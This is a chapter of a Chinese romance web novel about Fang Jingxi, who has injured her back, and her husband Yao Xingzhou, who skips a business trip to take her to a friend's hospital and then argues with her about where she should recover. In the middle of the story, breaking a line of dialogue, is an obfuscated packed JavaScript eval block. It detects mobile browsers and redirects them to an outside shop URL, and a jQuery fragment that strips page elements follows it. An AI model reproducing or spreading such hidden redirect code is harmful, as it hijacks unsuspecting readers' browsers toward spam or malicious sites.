她不敢再多想,换鞋出门。腰疼得弯不下去,她伸手撑着墙,打算换一双鞋穿,脚下那双是系带的鞋。
“方镜西你没长嘴吗?”
“什么?”方镜西茫然抬头,看着突然来到自己面前的人。
对方一脸严肃,狭长的黑眸沉沉盯着她。
“站好。”
短促的两个字让她瞬间站直,他却蹲了下去。
“扶好,穿鞋。”那双系带的鞋已经摆放到她脚边。
他要给她穿鞋。
方镜西垂眸盯着眼前人黝黑的发顶,他很有耐心,等着她的动作,她试探地把手撑到他肩膀上,肌肉喷薄有力。
她不受控制地捏了捏。
姚行舟身体猛地僵住,她什么毛病?怎么又捏?
方镜西察觉手下的肌肉忽然紧绷,眼里闪过懊恼和一丝不易察觉的羞窘,不再有一丝动作。
姚行舟看了眼这双超过五公分的高跟鞋,又瞄了眼鞋柜,很好,都是高跟鞋。
“还有别的鞋吗?”
“怎么了?”突如其来的对视,让方镜西眼里的羞窘更甚,她匆匆移开眼。
姚行舟眼里闪过一丝笑意,原来她还知道害羞。
“鞋跟太高,你腰受伤,最好还是穿双平底鞋。”
“那就那双吧。裸色的那双。”方镜西指向鞋柜最下层。
姚行舟看过去,沉默不语,怎么说呢,反正比其他的鞋跟低多了。
“没别的鞋了。”
她声音又软了下来,还透着一丝委屈,一双鞋而已,他真是小题大做,大不了到时候他扶着她罢了。
他伸手拿过那双鞋,动作间,肌肉再度紧绷,方镜西强忍着想要再捏的冲动。
怕她走路不便,姚行舟紧贴在她身边,方镜西侧头看了一眼身旁的人,他多高?
穿高跟鞋的时候她能平视对方喉结,现在她顶多平视他胸口。
电梯镜面映出两人身影,姚行舟就静静看着她绷着张脸,一会儿后退一会儿踮脚,还时不时瞅他一眼。
即使隔着衣服,胳膊也被她蹭得有些痒。
他淡淡开口:“不疼了?”
人老实了。
姚行舟眼里淌过笑意。
司机和安绍在车里等着,见电梯里出来两个人,他俩愣了一瞬,赶紧推门下车。
“姚总,太太。”
姚行舟应声,“嗯,去仁合。”
“不去机场了?”安绍下意识反问。
“你要去机场?出差?”
她声音里的雀跃完全压不住。
姚行舟细细打量她一番,对方眼睛亮晶晶的,迫切希望他点头,看来刚刚他在门口和她说的话她是一个字也没听进去,“不出差,先带你去医院。”
方镜西不死心地开口:“我可以一个人去。工作要紧,你去出差吧,要不然赶不上飞机了,国际航班的票也不好改签。”
话落,面前三人纷纷将眼神望向她。
她尴尬一笑,不知道她的话哪里不对。
“上车。”
没说通,方镜西失落地跟在他身后上车。
安绍悄悄看向后排的两人,不是说回家拿行李吗?
怎么又变成去医院了?
难不成太太她……怀孕了?
“先送我们去医院,安秘你先去京城,我明天去。”
“好的,姚总。”
方镜西愣了下,去京城出差?他是不是和她说过?
好像是她进门的时候,难怪他刚才那样看她。
一路上姚行舟一直在打电话安排工作上的事,应该和这次出差有关。刚好她也不知道和他说什么,就这样一路安静地到了仁合。
医院门口站着几个人,见他俩下车还特地招手示意,她以为是姚行舟安排好了。
结果为首的运动型男冲上前,笑眯眯地开口喊她三嫂,又朝身后挥手,示意两名身穿医护人员推着轮椅上前。
“三嫂,三哥同我讲你腰受伤嘞,我就帮你安排了辆轮椅。”
对方留着一头板寸,笑得相当灿烂,一口白牙在阳光下闪闪发亮,尤其在小麦色皮肤的映衬下,更凸显出牙的存在了。
“……谢谢你,我可以自己走。”方镜西呵呵笑着。
眼神询问姚行舟,这谁啊?为什么要喊她三嫂、喊他三哥?
“梁锦川,仁合医院董事长。”姚行舟在一旁解释,“我朋友。”
方镜西恍然,难怪她听对方讲话带着一点儿港城口音,原来他就是仁合医院董事长。
那他也是港城启越集团董事长梁启东的小儿子咯。
“三嫂,你叫我川子就行,三哥他们都这么叫我。”这话又丝毫显不出港城口音,甚至还有些宁城的口音。
“你好。”方镜西微笑点头,“川子”她叫不出来。
“进去吧。不用轮椅,我扶着她。”姚行舟看出她的不自在,将话茬接过去。
“好嘞好嘞,三嫂你跟我来。”梁锦川乐呵呵地在前面带路。
--
“伤是怎么弄的?怎么当时不过来?”医生示意方镜西趴在床上。
“一周多前,不小心撞到桌角。当时就是觉得有点儿疼,也涂了药,就没去医院。”方镜西侧头回答。
“撞这么严重就只是有点儿疼?”医生语气明显不信,“是不是二次伤害过?晚上睡觉又压着这一侧了?”
话音刚落,方镜西只觉后背如芒在刺,她抬眼看向站在床边的姚行舟,他脸色平静,镜片后的眼睛看不清神色。
只知道他在盯着她。
医生又问:“嗯?有没有二次伤过?有没有坚持用药?”
“上了三——四次药。”方镜西顿了顿,顶着那道锐利的视线硬着头皮开口,“没注意又撞了两次,加班在椅子上睡了四五个小时,不小心又压到伤口。”
医生:“……”
“你挺能忍,幸好没伤到骨头。不过还得先拍个片子看看,我再给你开药。”
“好的,谢谢医生。”
方镜西撑着胳膊慢慢起身,她右边完全使不上力。
“方镜西你没长嘴?”
“?”又是这句话。
她瞪他一眼,他长嘴了,光会叭叭,怎么不知道扶她一把?
她看他是没长眼吧!
看她这表情就知道她肯定又在心里骂他,姚行舟冷着脸,弯腰将人从床上抱起,从她身体右侧搀扶着她。
方镜西趴在床上没来得及反应,就被一个浸满沉木香的怀抱拥进去,下一秒整个人靠在他怀里。
“我自己能走!”
“不是让我扶你吗。”
“谁让了!你别瞎说!”
“嗯,你没有,是我想扶你。”
梁锦川就在门外听着他俩斗嘴,还不忘在他们那个群里直播,【我看不是病号离不了人,是他离不了病号。】
乌连策@他,【小心老三把你也踢出去。】
梁锦川回:【没事,反正三哥还会再拉回来的。老路不就是吗。】
路征:【咱俩不太一样,估计他不会把你拉进来。】
梁锦川愤愤,【怎么不一样?我哪里比你差?】
路征没回,心想,你要是也能给他老婆打包双皮奶他估计才会拉你进群。
手机嗡嗡响个不停,不用看姚行舟就知道是谁,他扶着方镜西出门,瞥了一眼站在门口的梁锦川。
梁锦川顿觉不妙,立马对着方镜西笑:“三嫂是去拍片子吧,走走走,我带路。”
一番检查下来,她的伤确实没伤到骨头,就是拖的时间太久,再加上二次伤害,导致现在这么严重。
要想尽快恢复,最好卧床休息。
方镜西哪里有时间卧床休息,合同没签,审核没过,她休不好。
她询问医生有没有其他更快的法子,结果医生说要是受伤后立马就来医院的话,涂点药就可以了。
“是吗?谢谢医生啊。”方镜西一脸苦笑。
还不如那晚听姚行舟的建议去医院呢。
司机送安绍去机场还没回来,梁锦川相当热情,要送他们回家。
方镜西戳了戳姚行舟,“你不是要出差吗?要不送你去机场,我——”
“你怎么?打车回去?”姚行舟视线从那根细白的手指移到她脸上,平静地望着她。
方镜西悻悻地缩回手指,不情不愿坐在座椅上一言不发。
没见过他这么记仇的人,多久前的事了,还抓着不放来恶心她。
“咳,三哥,去翠云栖?”梁锦川决定由他来打破这个怪异的气氛。
“我问问。”
梁锦川:“?”问谁?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775178|206833||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“镜园、锦庭、家属院,这三个你选一个。”
“我选翠云栖。”
“噗嗤……”梁锦川在前面喷笑。
姚行舟没搭理梁锦川,继续盯着旁边犟的要死的方镜西。
“那去镜园。”
方镜西眼睛瞪得溜圆,“?我选翠云栖!”
“开车。”
司机不敢动。
“姚行舟你耳朵瞎吗??我要回翠云栖,不回镜园!!”回了镜园她就别想再出来。
至于锦庭和家属院,一个是他爸妈家,一个是他爷爷奶奶家,她也不想去。
“我耳朵不瞎。”
方镜西一口气没上来,憋得脸都红了。
“那你眼睛聋行了吧!”
梁锦川实在忍不住笑,后座二人的眼刀齐刷刷射向他。
他立马捂住嘴,缩回座椅里。
方镜西有些绝望地吐出一口气,定定望着他,手不自觉搭在他胳膊上,眼里满是疲惫,声音软下来,“姚行舟我最近真的很忙,我没跟你闹。回了镜园我爷爷肯定不会再让我出来,我团队的人都在等着我,我没那么多时间卧床休息。”
“我知道你很担心我,我很感谢。但是我的工作等不了,希望你理解。”
车里静默无声,梁锦川都后悔上车了。
他俩这什么意思啊?
姚行舟万年铁树开花突然结婚,还跟望妻石似地独守空房一年,又这么紧张对方,还以为他俩感情多深呢。
可看方镜西一点儿都不像对他有感情的样子。
难不成他单思?
姚行舟垂眸看着那只搭在自己袖口的手,卡在无名指指节上的戒指异常显眼。
他收回视线,拿出手机拨打了个电话,对面一直没人接。
方镜西以为他又在安排工作,气得直接对司机说:“麻烦开门,我下车。”
司机悄悄看了一眼梁锦川,刚刚就是他示意他别开车。
梁锦川躲着姚行舟的视线,微微点头,“咔哒”一声,后排车门开了。
方镜西艰难地挪着身体下车,紧接着腰被人搂住,她强忍着疼挣扎,腰上力度愈紧。
“放开!”
“你回宁城了吗?”
方镜西急促喘着气,扭头瞪他,对方正在打电话,看也不看她一眼,平静地盯着前方,语气平淡如白水。
“镜西腰伤了,需要卧床休息。我这几天要出差,照顾不了她,她不想让家里长辈跟着担心,所以,你要是回来了,来翠云栖照顾她几天。”
方镜西有瞬间的茫然,他在和谁打电话?
吴姨?
“那好,今晚你不用担心,我在。”
“嗯,她就在我旁边。”
他把手机递过来,方镜西下意识问他,“谁啊?”
“是我,西西。”电话那头的声音非常温柔。
“哥?你怎么——”方镜西立马接过手机,止住话头,没说下去。
他怎么想起和她哥打电话了?
“伤得严重吗?”
“还好,就是有点疼。”方镜西不想让她哥担心,更怕她哥不让她去公司。
“嗯,你听医生话,好好休息。我今晚到宁城,明天去翠云栖照顾你。有事明天再说。”方境北没多说什么,直接挂断电话。
方镜西举在耳边的手犹豫着放下来,心里说不清是什么感受。
她没想到他会找她哥哥来照顾她。
方镜西将手机伸到他面前,讷声:“手机给你。”
姚行舟没动作,狭长的黑眸直直盯着她,像是要把她吸去。
她猛地错开眼,将手机扔给他。
“把门关上,我们回家。”
“……哦。”方镜西老老实实将门拉上。
察觉到气氛没那么紧张,梁锦川哈哈一笑,示意司机赶紧开车,又挑起另一个话题。
末了,还多嘴问了句,“三嫂,你觉得呢?”
他三嫂还没说什么,他三哥从手机中抬眸,凉凉睨了他一眼,“我觉得你家司机挺不错。”
吓得他立即闭嘴转身坐好。
完喽,姚行舟好像发现他给司机的示意了。
紧接着,他手机响了一声。
是路征。
路征:【哈哈哈哈哈哈哈被踢出去了吧!】